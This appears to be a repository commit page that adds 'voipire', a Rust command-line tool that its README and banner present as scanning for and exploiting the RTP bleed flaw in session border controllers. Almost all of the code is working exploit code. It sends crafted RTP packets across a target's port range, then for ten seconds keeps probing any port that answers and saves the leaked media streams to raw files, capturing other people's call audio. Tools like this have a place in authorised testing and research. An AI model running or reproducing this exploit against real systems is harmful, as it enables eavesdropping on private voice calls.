Projects STRLCPY voipire Commits 28679668
🤬
  • ■ ■ ■ ■ ■
    README.md
     1 +#### voipire
     2 + 
     3 +A program which scans and exploits the RTP bleed vulnerability.
     4 + 
     5 + 
  • ■ ■ ■ ■ ■ ■
    src/args.rs
     1 +// Copyright (c) 2024 Cryptic Red
     2 +// Written by Darren McDonald
     3 +//
     4 +// All rights reserved. This code and the accompanying application are protected by copyright
     5 +// and may not be copied, reproduced, or used in any manner without the explicit written
     6 +// permission of Cryptic Red.
     7 + 
     8 +const RTP_PORT_RANGE_START: u16 = 16384;
     9 +const RTP_PORT_RANGE_END: u16 = 32767;
     10 + 
     11 +#[derive(Clone)]
     12 +pub struct Args {
     13 + pub host: IpAddr,
     14 + pub port_range: (u16, u16),
     15 + pub output_file: String,
     16 + pub max_threads: u8,
     17 +}
     18 + 
     19 +use std::net::IpAddr;
     20 + 
     21 +impl Args {
     22 + pub fn new() -> Result<Args,()> {
     23 + 
     24 + //get a vector of the command line arguments
     25 + let mut args: Vec<String> = std::env::args().collect();
     26 +
     27 + //is one of the arguements -h?
     28 + let host: IpAddr = if args.contains(&String::from("-h")) {
     29 + //get the index of the -h arguement
     30 + let index = args.iter().position(|r| r == "-h").unwrap();
     31 + //get the next arguement
     32 + let host = &args[index + 1].clone();
     33 + 
     34 + //remove the used arguements
     35 + args.remove(index);
     36 + args.remove(index);
     37 + 
     38 + //parse the host into an IpAddr, check if it is valid
     39 + match host.parse() {
     40 + Ok(host) => host,
     41 + Err(_) => {
     42 + println!("Invalid host specified, use -h <host>");
     43 + return Err(());
     44 + }
     45 + }
     46 + } else {
     47 + //if -h is not present, panic
     48 + println!("No host specified, use -h <host>");
     49 + return Err(());
     50 + };
     51 + 
     52 + //is one of the arguements -p?
     53 + let port_range: (u16, u16) = if args.contains(&String::from("-p")) {
     54 + //get the index of the -p arguement
     55 + let index = args.iter().position(|r| r == "-p").unwrap();
     56 + 
     57 + //is there at least one argument after?
     58 + if args.len() < index + 2 {
     59 + println!("No port specified, use -p <port>");
     60 + return Err(());
     61 + }
     62 + 
     63 + //get the next arguement
     64 + let port = &args[index + 1].clone();
     65 + 
     66 + //remove the used arguements
     67 + args.remove(index);
     68 + args.remove(index);
     69 + 
     70 + if port.contains("-") {
     71 + //if the port contains a range, split it
     72 + let port_range: Vec<&str> = port.split("-").collect();
     73 + (port_range[0].parse().unwrap(), port_range[1].parse().unwrap())
     74 + } else {
     75 + //parse the port into a tuple of u8
     76 + (port.parse().unwrap(), port.parse().unwrap())
     77 + }
     78 + } else {
     79 + //if -p is not present, use the default port range
     80 + (RTP_PORT_RANGE_START, RTP_PORT_RANGE_END)
     81 + };
     82 + 
     83 + let output_file = if args.contains(&String::from("-o")) {
     84 + //get the index of the -o arguement
     85 + let index = args.iter().position(|r| r == "-o").unwrap();
     86 + //get the next arguement
     87 + let output_file = &args[index + 1].clone();
     88 + //remove the used arguements
     89 + args.remove(index);
     90 + args.remove(index);
     91 + output_file.clone()
     92 + } else {
     93 + //create a default output file in the form scan-<host>-<datestamp>.raw
     94 + let date = chrono::Utc::now().format("%Y-%m-%d-%H-%M-%S").to_string();
     95 + format!("scan-{}-{}", host, date)
     96 + };
     97 + 
     98 + //is one of the arguements -t?
     99 + let max_threads: u8 = if args.contains(&String::from("-t")) {
     100 + //get the index of the -t arguement
     101 + let index = args.iter().position(|r| r == "-t").unwrap();
     102 + //get the next arguement
     103 + let max_threads = &args[index + 1].clone();
     104 + //remove the used arguements
     105 + args.remove(index);
     106 + args.remove(index);
     107 + max_threads.parse().unwrap()
     108 + } else {
     109 + //use the default number of threads
     110 + 8
     111 + };
     112 + 
     113 + //if there are any unused arguements, print the usage and exit
     114 + if args.len() > 1 {
     115 + usage();
     116 + std::process::exit(1);
     117 + }
     118 + 
     119 + Ok(Args {
     120 + host,
     121 + port_range,
     122 + output_file,
     123 + max_threads,
     124 + })
     125 + }
     126 +}
     127 + 
     128 +pub fn usage() {
     129 + println!("Example usage");
     130 + println!("Scan the RTP default ports");
     131 + println!(" ./voipire -h 1.2.3.4");
     132 + println!("Scan just one port");
     133 + println!(" ./voipire -h 1.2.3.4 -p 18554");
     134 + println!("");
     135 + println!("Scan a range of ports");
     136 + println!(" ./rtpbleedscan -h 1.2.3.4 -p 18554-18560");
     137 + println!("");
     138 + println!("Specify max threads");
     139 + println!(" ./rtpbleedscan -h 1.2.3.4 -p 18554-18560 -t 8");
     140 + println!("");
     141 + println!("Specify output file");
     142 + println!(" ./rtpbleedscan -h 1.2.3.4 -p 18554-18560 -o output.raw");
     143 + println!("");
     144 + 
     145 + println!("-h <host> - The host or ip address to scan");
     146 + println!("-p <port> - The port or range of ports to scan, e.g. 18554 or 18554-18560");
     147 + println!("-t <threads> - The number of threads to use, default is 8");
     148 + println!("-o <output file> - The prefix of the output files write the raw output to, default is scan-<host>-<date>");
     149 +}
     150 + 
     151 +pub fn banner() {
     152 + println!("🩸🩸 VOIPIRE v0.1 🩸🩸");
     153 + println!("");
     154 + println!("A tool to scan and exploit RTP Bleed in SBCs");
     155 + println!("Written by Darren McDonald, Cryptic Red Ltd");
     156 + println!("Copyright 2024");
     157 + println!("");
     158 +}
  • ■ ■ ■ ■ ■ ■
    src/main.rs
     1 +// Copyright (c) 2024 Cryptic Red
     2 +// Written by Darren McDonald
     3 +//
     4 +// All rights reserved. This code and the accompanying application are protected by copyright
     5 +// and may not be copied, reproduced, or used in any manner without the explicit written
     6 +// permission of Cryptic Red.
     7 + 
     8 + 
     9 +use std::{io::Write, sync::Arc};
     10 +use std::net::UdpSocket;
     11 + 
     12 +use indicatif::{ProgressBar, ProgressStyle};
     13 + 
     14 +mod args;
     15 +use args::{banner, Args};
     16 + 
     17 +#[tokio::main]
     18 +async fn main() {
     19 + banner();
     20 + // Parse the command line arguements
     21 + let args = Args::new();
     22 + match args {
     23 + Ok(args) => {
     24 + // Print the host and port range
     25 + println!("Host: {}", args.host);
     26 + if args.port_range.0 == args.port_range.1 {
     27 + println!("Port: {}", args.port_range.0);
     28 + } else {
     29 + println!("Port Range: {}-{}", args.port_range.0, args.port_range.1);
     30 + }
     31 + 
     32 + println!("");
     33 + 
     34 + // create a vec of ports to scan
     35 + let mut ports: Vec<u16> = (args.port_range.0..args.port_range.1).collect();
     36 + ports.reverse(); //reverse the vector as many SBCs use lower ports first
     37 + 
     38 + // create a progress bar
     39 + let pb = Arc::new(ProgressBar::new(ports.len() as u64));
     40 + pb.set_style(ProgressStyle::default_bar()
     41 + .template("[{elapsed_precise}] {bar:40.cyan/blue} {pos}/{len} ports scanned")
     42 + .unwrap()
     43 + .progress_chars("#>-"));
     44 + 
     45 + loop {
     46 + // create a vector of ports to scan in this batch
     47 + if ports.len() == 0 {
     48 + pb.finish_with_message("Scanning complete");
     49 + break;
     50 + }
     51 + let mut batch: Vec<u16> = Vec::new();
     52 + //pop off and store the first max_threads ports, or less if there arnt enough ports
     53 + for _ in 0..args.max_threads {
     54 + match ports.pop() {
     55 + Some(port) => {
     56 + batch.push(port);
     57 + },
     58 + None => {
     59 + break;
     60 + }
     61 + }
     62 + }
     63 + 
     64 + //create a vec to store the threads
     65 + let mut threads: Vec<tokio::task::JoinHandle<()>> = Vec::new();
     66 + 
     67 + //next spawn one thread for each port in the batch
     68 + for port in batch {
     69 + let args = args.clone();
     70 + let pb = pb.clone();
     71 + pb.tick();
     72 + 
     73 + let thread = tokio::spawn(async move {
     74 + rtp_scan(&args, port);
     75 + pb.inc(1);
     76 + });
     77 + threads.push(thread);
     78 + }
     79 + 
     80 + //wait for all threads to complete
     81 + for thread in threads {
     82 + thread.await.unwrap();
     83 + }
     84 + }
     85 + 
     86 + 
     87 + },
     88 + Err(_) => {
     89 + std::process::exit(1);
     90 + }
     91 + }
     92 +}
     93 + 
     94 +const MAX_UDP_PACKET_SIZE: usize = 65507;
     95 + 
     96 +fn rtp_scan( args: &Args, port : u16) {
     97 + 
     98 + //create a 16 byte array to store the packet and zero it out
     99 + let mut packet: [u8; 12] = [0; 12];
     100 + 
     101 + packet[0] = 0x80;
     102 + packet[1] = 0x80;
     103 + 
     104 + let socket = UdpSocket::bind("0.0.0.0:0");
     105 + 
     106 + let socket = match socket {
     107 + Ok(socket) => socket,
     108 + Err(_) => {
     109 + panic!("Failed to bind to port");
     110 + }
     111 + };
     112 + 
     113 + //create a buffer to store the response
     114 + let mut buffer = [0; MAX_UDP_PACKET_SIZE];
     115 + 
     116 + //create SocketAddr from the target
     117 + let target = format!("{}:{}", &args.host, &port);
     118 + 
     119 + //send the packet to the target, wait 3 seconds for a response and notify the user if something is found
     120 + let result = socket.send_to(&packet, &target);
     121 + 
     122 + match result {
     123 + Ok(result) => result,
     124 + Err(_) => {
     125 + panic!("Failed to send packet");
     126 + }
     127 + };
     128 + 
     129 + //wait 4 seconds for a response from the target
     130 + let _ = socket.set_read_timeout(Some(std::time::Duration::new(4, 0)));
     131 + 
     132 + //read the response
     133 + let result = socket.recv_from(&mut buffer);
     134 + let result = match result {
     135 + Ok(result) => result,
     136 + Err(_) => {
     137 + //close socket and move on to the next port
     138 + return;
     139 + }
     140 + };
     141 + 
     142 + println!("Found something on port: {}:{}", args.host, port);
     143 + 
     144 + //open a file to write the results to
     145 + let filename = format!("{}-{}.raw", &args.output_file, &port);
     146 + let mut file = match std::fs::File::create(filename) {
     147 + Ok(file) => file,
     148 + Err(_) => {
     149 + panic!("{}", format!("Failed to open file {}", args.output_file));
     150 + }
     151 + };
     152 + 
     153 + //write the response to the file
     154 + match file.write_all(&buffer[12..result.0]) {
     155 + Ok(_) => {},
     156 + Err(_) => {
     157 + panic!("Failed to write to file");
     158 + }
     159 + };
     160 + 
     161 + // Switch to non-blocking mode for subsequent operations
     162 + socket.set_nonblocking(true).expect("Failed to set socket to non-blocking");
     163 + 
     164 + //for ten seconds continue to send the packet to the target and writing the response to the file
     165 + let start = std::time::Instant::now();
     166 + loop {
     167 + //pause for 0.1 seconds
     168 + std::thread::sleep(std::time::Duration::from_millis(10));
     169 + 
     170 + if start.elapsed().as_secs() > 10 {
     171 + break;
     172 + }
     173 + 
     174 + if socket.send_to(&packet, &target).is_err() {
     175 + panic!("Failed to send packet");
     176 + }
     177 + 
     178 + let result = socket.recv_from(&mut buffer);
     179 + let result = match result {
     180 + Ok(result) => result,
     181 + Err(_) => {
     182 + continue
     183 + }
     184 + };
     185 + 
     186 + //if the data starts with 0x80, it is likely an RTP packet, skip
     187 + if buffer[0] != 0x80 {
     188 + continue;
     189 + }
     190 + 
     191 + //skip first 12 bytes of the packet and write to disk
     192 + match file.write_all(&buffer[12..result.0]) {
     193 + Ok(_) => {},
     194 + Err(_) => {
     195 + panic!("Failed to write to file");
     196 + }
     197 + };
     198 + }
     199 + 
     200 + 
     201 +}
     202 + 
Please wait...
Page is in error, reload to recover